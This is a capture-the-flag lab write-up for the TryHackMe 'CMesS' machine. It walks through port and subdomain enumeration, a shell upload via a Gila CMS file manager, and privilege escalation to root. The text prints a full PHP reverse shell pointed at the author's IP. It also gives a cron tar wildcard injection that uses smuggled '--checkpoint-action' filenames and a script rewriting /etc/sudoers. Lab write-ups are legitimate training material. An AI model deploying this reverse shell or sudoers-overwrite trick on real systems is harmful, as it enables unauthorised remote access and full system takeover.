5 minutes
TryHackme - CMEss - Write Up
CMesS
Enumeration
nmap
I started with a basic scan to identify open ports:
sudo nmap -sS cmess.thm
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 15:58 -03
Nmap scan report for cmess.thm (10.10.172.41)
Host is up (0.33s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 3.47 seconds
Then I ran a more aggressive scan against those ports:
sudo nmap -sS cmess.thm -p80,22 -A
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-31 15:59 -03
Nmap scan report for cmess.thm (10.10.172.41)
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| 256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
|_ 256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: Gila CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-robots.txt: 3 disallowed entries
|_/src/ /themes/ /lib/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Sony Android TV (Android 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 5.1 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 180.97 ms 10.13.0.1
2 ... 3
4 321.30 ms cmess.thm (10.10.172.41)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.59 seconds
Interesting Info:
- SSH: OpenSSH 7.2p2 (Ubuntu)
- HTTP: Apache 2.4.18 + Gila CMS
- The robots.txt file disallowed:
/src/
,/themes/
,/lib/
HTTP - Enumeration
Discovering directories with Gobuster
I used gobuster to find hidden directories:
gobuster dir -u http://cmess.thm/ -w /usr/share/wordlists/dirb/common.txt -x txt,html,php --no-error
Found:
/admin
/blog
/feed
/fm
Subdomain brute-force with Wfuzz
Discovered subdomain: dev.cmess.thm
using wfuzz
wfuzz -c -w /usr/share/wordlists/subdomain/subdomains-1000.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm" --hw 290
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://cmess.thm/
Total requests: 999
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000021: 200 30 L 104 W 934 Ch "dev"


Exploit
Search for the exploit on google:
Offensive Security’s Exploit Database Archive
I tried exploiting a LFI on the /admin/fm/
panel to read /etc/passwd
, but the payload didn’t work.
However, accessing just /fm
revealed a file manager panel!

I created a shell.php
file using the classic PentestMonkey reverse shell, pointed it to my IP and port 1234.
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.13.39.32';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
Open a listener and shell successfully received.

Stabilizing the Shell
python3 -c 'import pty;pty.spawn("/bin/bash")’
Privilege Escalation - Part 1
Looks like we don’t have access to /home/andre.

Found something interesting while searching for the user.txt flag in /tmp folder by manual enumeration:
While manually enumerating, I noticed weird files in the /tmp
folder and suspected a scheduled backup task.


I found a recurring backup job.

Yes found some backup task and maybe it’s vulnerable by cron wildcards, but I cant do much without access to andre’s folder.
To enhance the enumeration process, I ran linpeas.sh
. First, I set up a Python3 web server on my machine to transfer the script to the target:
python3 -m http.server 80
Download into /tmp
folder with wget
, set permissions and run.
Linpeas popup the schedule task

This one was hard to notice, a .bak file named password.


Tried it using su andre
—and it worked! ✨

Then I closed the reverse shell and opened a stable SSH session:

First flag.
At this point I know that is possible to privesc with cron wildcards
Privilege Escalation - Part 2
Since I knew there was a scheduled task possible with wildcards vulnerable, I exploited it using cron wildcard injection to escalate privileges.
I created these files to privesc to root:
echo 'echo "andre ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh
echo "" > "--checkpoint-action=exec=sh privesc.sh"
echo "" > --checkpoint=1
Waited a minute for the cron job to trigger, then ran: sudo bash.
